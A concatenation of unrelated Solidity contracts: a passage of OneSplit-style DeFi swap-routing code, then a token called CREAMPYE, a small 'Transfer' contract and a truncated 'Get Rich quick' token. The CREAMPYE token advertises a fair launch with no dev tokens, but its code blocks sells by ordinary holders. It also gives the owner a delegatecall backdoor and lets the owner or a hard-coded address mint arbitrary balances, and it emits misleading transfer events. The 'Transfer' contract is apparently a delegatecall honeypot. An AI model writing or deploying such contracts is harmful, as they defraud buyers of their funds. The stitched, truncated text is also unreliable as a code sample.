) internal {
_iearnSwap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _iearnSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_IEARN)) {
IIearn[13] memory yTokens = _yTokens();
for (uint i = 0; i < yTokens.length; i++) {
if (fromToken == IERC20(yTokens[i])) {
IERC20 underlying = yTokens[i].token();
yTokens[i].withdraw(amount);
_iearnSwap(underlying, destToken, underlying.balanceOf(address(this)), distribution, flags);
return;
}
}
for (uint i = 0; i < yTokens.length; i++) {
if (destToken == IERC20(yTokens[i])) {
IERC20 underlying = yTokens[i].token();
super._swap(fromToken, underlying, amount, distribution, flags);
uint256 underlyingBalance = underlying.balanceOf(address(this));
underlying.universalApprove(address(yTokens[i]), underlyingBalance);
yTokens[i].deposit(underlyingBalance);
return;
}
}
}
return super._swap(fromToken, destToken, amount, distribution, flags);
}
}
// File: contracts/interface/IIdle.sol
pragma solidity ^0.5.0;
contract IIdle is IERC20 {
function token()
external view returns (IERC20);
function tokenPrice()
external view returns (uint256);
function mintIdleToken(uint256 _amount, uint256[] calldata _clientProtocolAmounts)
external returns (uint256 mintedTokens);
function redeemIdleToken(uint256 _amount, bool _skipRebalance, uint256[] calldata _clientProtocolAmounts)
external returns (uint256 redeemedTokens);
}
// File: contracts/OneSplitIdle.sol
pragma solidity ^0.5.0;
contract OneSplitIdleBase {
function _idleTokens() internal pure returns(IIdle[8] memory) {
// https://developers.idle.finance/contracts-and-codebase
return [
// V3
IIdle(0x78751B12Da02728F467A44eAc40F5cbc16Bd7934),
IIdle(0x12B98C621E8754Ae70d0fDbBC73D6208bC3e3cA6),
IIdle(0x63D27B3DA94A9E871222CB0A32232674B02D2f2D),
IIdle(0x1846bdfDB6A0f5c473dEc610144513bd071999fB),
IIdle(0xcDdB1Bceb7a1979C6caa0229820707429dd3Ec6C),
IIdle(0x42740698959761BAF1B06baa51EfBD88CB1D862B),
// V2
IIdle(0x10eC0D497824e342bCB0EDcE00959142aAa766dD),
IIdle(0xeB66ACc3d011056B00ea521F8203580C2E5d3991)
];
}
}
contract OneSplitIdleView is OneSplitViewWrapBase, OneSplitIdleBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _idleGetExpectedReturn(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _idleGetExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
internal
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == !flags.check(FLAG_DISABLE_IDLE)) {
IIdle[8] memory tokens = _idleTokens();
for (uint i = 0; i < tokens.length; i++) {
if (fromToken == IERC20(tokens[i])) {
(returnAmount, estimateGasAmount, distribution) = _idleGetExpectedReturn(
tokens[i].token(),
destToken,
amount.mul(tokens[i].tokenPrice()).div(1e18),
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 2_400_000, distribution);
}
}
for (uint i = 0; i < tokens.length; i++) {
if (destToken == IERC20(tokens[i])) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
tokens[i].token(),
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount.mul(1e18).div(tokens[i].tokenPrice()), estimateGasAmount + 1_300_000, distribution);
}
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitIdle is OneSplitBaseWrap, OneSplitIdleBase {
function _superOneSplitIdleSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] calldata distribution,
uint256 flags
)
external
{
require(msg.sender == address(this));
return super._swap(fromToken, destToken, amount, distribution, flags);
}
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_idleSwap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _idleSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) public payable {
if (!flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == !flags.check(FLAG_DISABLE_IDLE)) {
IIdle[8] memory tokens = _idleTokens();
for (uint i = 0; i < tokens.length; i++) {
if (fromToken == IERC20(tokens[i])) {
IERC20 underlying = tokens[i].token();
uint256 minted = tokens[i].redeemIdleToken(amount, true, new uint256[](0));
_idleSwap(underlying, destToken, minted, distribution, flags);
return;
}
}
for (uint i = 0; i < tokens.length; i++) {
if (destToken == IERC20(tokens[i])) {
IERC20 underlying = tokens[i].token();
super._swap(fromToken, underlying, amount, distribution, flags);
uint256 underlyingBalance = underlying.balanceOf(address(this));
underlying.universalApprove(address(tokens[i]), underlyingBalance);
tokens[i].mintIdleToken(underlyingBalance, new uint256[](0));
return;
}
}
}
return super._swap(fromToken, destToken, amount, distribution, flags);
}
}
// File: contracts/OneSplitAave.sol
pragma solidity ^0.5.0;
contract OneSplitAaveBase {
function _getAaveUnderlyingToken(IERC20 token) internal pure returns(IERC20) {
if (token == IERC20(0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04)) { // ETH
return IERC20(0);
}
if (token == IERC20(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d)) { // DAI
return IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
}
if (token == IERC20(0x9bA00D6856a4eDF4665BcA2C2309936572473B7E)) { // USDC
return IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
}
if (token == IERC20(0x625aE63000f46200499120B906716420bd059240)) { // SUSD
return IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51);
}
if (token == IERC20(0x6Ee0f7BB50a54AB5253dA0667B0Dc2ee526C30a8)) { // BUSD
return IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
}
if (token == IERC20(0x4DA9b813057D04BAef4e5800E36083717b4a0341)) { // TUSD
return IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
}
if (token == IERC20(0x71fc860F7D3A592A4a98740e39dB31d25db65ae8)) { // USDT
return IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
}
if (token == IERC20(0xE1BA0FB44CCb0D11b80F92f4f8Ed94CA3fF51D00)) { // BAT
return IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF);
}
if (token == IERC20(0x9D91BE44C06d373a8a226E1f3b146956083803eB)) { // KNC
return IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200);
}
if (token == IERC20(0x7D2D3688Df45Ce7C552E19c27e007673da9204B8)) { // LEND
return IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03);
}
if (token == IERC20(0xA64BD6C70Cb9051F6A9ba1F163Fdc07E0DfB5F84)) { // LINK
return IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
}
if (token == IERC20(0x6FCE4A401B6B80ACe52baAefE4421Bd188e76F6f)) { // MANA
return IERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942);
}
if (token == IERC20(0x7deB5e830be29F91E298ba5FF1356BB7f8146998)) { // MKR
return IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2);
}
if (token == IERC20(0x71010A9D003445aC60C4e6A7017c1E89A477B438)) { // REP
return IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862);
}
if (token == IERC20(0x328C4c80BC7aCa0834Db37e6600A6c49E12Da4DE)) { // SNX
return IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F);
}
if (token == IERC20(0xFC4B8ED459e00e5400be803A9BB3954234FD50e3)) { // WBTC
return IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
}
if (token == IERC20(0x6Fb0855c404E09c47C3fBCA25f08d4E41f9F062f)) { // ZRX
return IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
}
return IERC20(-1);
}
}
contract OneSplitAaveView is OneSplitViewWrapBase, OneSplitAaveBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags, // See constants in IOneSplit.sol
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _aaveGetExpectedReturn(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _aaveGetExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
private
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_AAVE)) {
IERC20 underlying = _getAaveUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
(returnAmount, estimateGasAmount, distribution) = _aaveGetExpectedReturn(
underlying,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 670_000, distribution);
}
underlying = _getAaveUnderlyingToken(destToken);
if (underlying != IERC20(-1)) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
underlying,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 310_000, distribution);
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitAave is OneSplitBaseWrap, OneSplitAaveBase {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_aaveSwap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _aaveSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_AAVE)) {
IERC20 underlying = _getAaveUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
IAaveToken(address(fromToken)).redeem(amount);
return _aaveSwap(
underlying,
destToken,
amount,
distribution,
flags
);
}
underlying = _getAaveUnderlyingToken(destToken);
if (underlying != IERC20(-1)) {
super._swap(
fromToken,
underlying,
amount,
distribution,
flags
);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
underlying.universalApprove(aave.core(), underlyingAmount);
aave.deposit.value(underlying.isETH() ? underlyingAmount : 0)(
underlying.isETH() ? ETH_ADDRESS : underlying,
underlyingAmount,
1101
);
return;
}
}
return super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitWeth.sol
pragma solidity ^0.5.0;
contract OneSplitWethView is OneSplitViewWrapBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _wethGetExpectedReturn(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _wethGetExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
private
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_WETH)) {
if (fromToken == weth || fromToken == bancorEtherToken) {
return super.getExpectedReturnWithGas(ETH_ADDRESS, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice);
}
if (destToken == weth || destToken == bancorEtherToken) {
return super.getExpectedReturnWithGas(fromToken, ETH_ADDRESS, amount, parts, flags, destTokenEthPriceTimesGasPrice);
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitWeth is OneSplitBaseWrap {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_wethSwap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _wethSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_WETH)) {
if (fromToken == weth) {
weth.withdraw(weth.balanceOf(address(this)));
super._swap(
ETH_ADDRESS,
destToken,
amount,
distribution,
flags
);
return;
}
if (fromToken == bancorEtherToken) {
bancorEtherToken.withdraw(bancorEtherToken.balanceOf(address(this)));
super._swap(
ETH_ADDRESS,
destToken,
amount,
distribution,
flags
);
return;
}
if (destToken == weth) {
_wethSwap(
fromToken,
ETH_ADDRESS,
amount,
distribution,
flags
);
weth.deposit.value(address(this).balance)();
return;
}
if (destToken == bancorEtherToken) {
_wethSwap(
fromToken,
ETH_ADDRESS,
amount,
distribution,
flags
);
bancorEtherToken.deposit.value(address(this).balance)();
return;
}
}
return super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitMStable.sol
pragma solidity ^0.5.0;
contract OneSplitMStableView is OneSplitViewWrapBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_MSTABLE_MUSD)) {
if (fromToken == IERC20(musd) && ((destToken == usdc || destToken == dai || destToken == usdt || destToken == tusd))) {
// TODO: redeem
// (,, uint256 result) = musd.getSwapOutput(fromToken, destToken, amount);
// return (result, 300_000, new uint256[](DEXES_COUNT));
}
if (destToken == IERC20(musd) && ((fromToken == usdc || fromToken == dai || fromToken == usdt || fromToken == tusd))) {
(,, uint256 result) = musd.getSwapOutput(fromToken, destToken, amount);
return (result, 300_000, new uint256[](DEXES_COUNT));
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitMStable is OneSplitBaseWrap {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_MSTABLE_MUSD)) {
if (fromToken == IERC20(musd) && ((destToken == usdc || destToken == dai || destToken == usdt || destToken == tusd))) {
// TODO: redeem
// musd.swap(
// fromToken,
// destToken,
// amount,
// address(this)
// );
// return;
}
if (destToken == IERC20(musd) && ((fromToken == usdc || fromToken == dai || fromToken == usdt || fromToken == tusd))) {
musd.swap(
fromToken,
destToken,
amount,
address(this)
);
return;
}
}
return super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplit.sol
pragma solidity ^0.5.0;
//import "./OneSplitSmartToken.sol";
contract OneSplitViewWrap is
OneSplitViewWrapBase,
OneSplitMultiPathView,
OneSplitMStableView,
OneSplitChaiView,
OneSplitBdaiView,
OneSplitAaveView,
OneSplitFulcrumView,
OneSplitCompoundView,
OneSplitIearnView,
OneSplitIdleView,
OneSplitWethView
//OneSplitSmartTokenView
{
IOneSplitView public oneSplitView;
constructor(IOneSplitView _oneSplit) public {
oneSplitView = _oneSplit;
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags, // See constants in IOneSplit.sol
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _getExpectedReturnRespectingGasFloor(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
internal
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return oneSplitView.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitWrap is
OneSplitBaseWrap,
OneSplitMultiPath,
OneSplitMStable,
OneSplitChai,
OneSplitBdai,
OneSplitAave,
OneSplitFulcrum,
OneSplitCompound,
OneSplitIearn,
OneSplitIdle,
OneSplitWeth
//OneSplitSmartToken
{
IOneSplitView public oneSplitView;
IOneSplit public oneSplit;
constructor(IOneSplitView _oneSplitView, IOneSplit _oneSplit) public {
oneSplitView = _oneSplitView;
oneSplit = _oneSplit;
}
function() external payable {
// solium-disable-next-line security/no-tx-origin
require(msg.sender != tx.origin);
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return oneSplitView.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution, // [Uniswap, Kyber, Bancor, Oasis]
uint256 flags // 16 - Compound, 32 - Fulcrum, 64 - Chai, 128 - Aave, 256 - SmartToken, 1024 - bDAI
) public payable returns(uint256 returnAmount) {
fromToken.universalTransferFrom(msg.sender, address(this), amount);
uint256 confirmed = fromToken.universalBalanceOf(address(this));
_swap(fromToken, destToken, confirmed, distribution, flags);
returnAmount = destToken.universalBalanceOf(address(this));
require(returnAmount >= minReturn, "OneSplit: actual return amount is less than minReturn");
destToken.universalTransfer(msg.sender, returnAmount);
fromToken.universalTransfer(msg.sender, fromToken.universalBalanceOf(address(this)));
}
function _swapFloor(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
(bool success, bytes memory data) = address(oneSplit).delegatecall(
abi.encodeWithSelector(
this.swap.selector,
fromToken,
destToken,
amount,
0,
distribution,
flags
)
);
assembly {
switch success
// delegatecall returns 0 on error.
case 0 { revert(add(data, 32), returndatasize) }
}
}
}
contract A {
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
public
//view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
|
DC1
|
/*
No discrimination of where you come from or what colour of fur you have, we all come from
different walks of life but we are all equal! This token will give everyone a fair chance to get their paws on !
AIR LAUNCH
NO PRE SALE
NO DEV TOKENS
NO BOTS
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CREAMPYE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.4.18;
contract Transfer
{
address public Owner = msg.sender;
address public DataBase;
uint256 public Limit;
function Set(address dataBase, uint256 limit)
{
require(msg.sender == Owner);
Limit = limit;
DataBase = dataBase;
}
function()payable{}
function transfer(address adr)
payable
{
if(msg.value>Limit)
{
DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender);
adr.transfer(this.balance);
}
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Get Rich quick
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
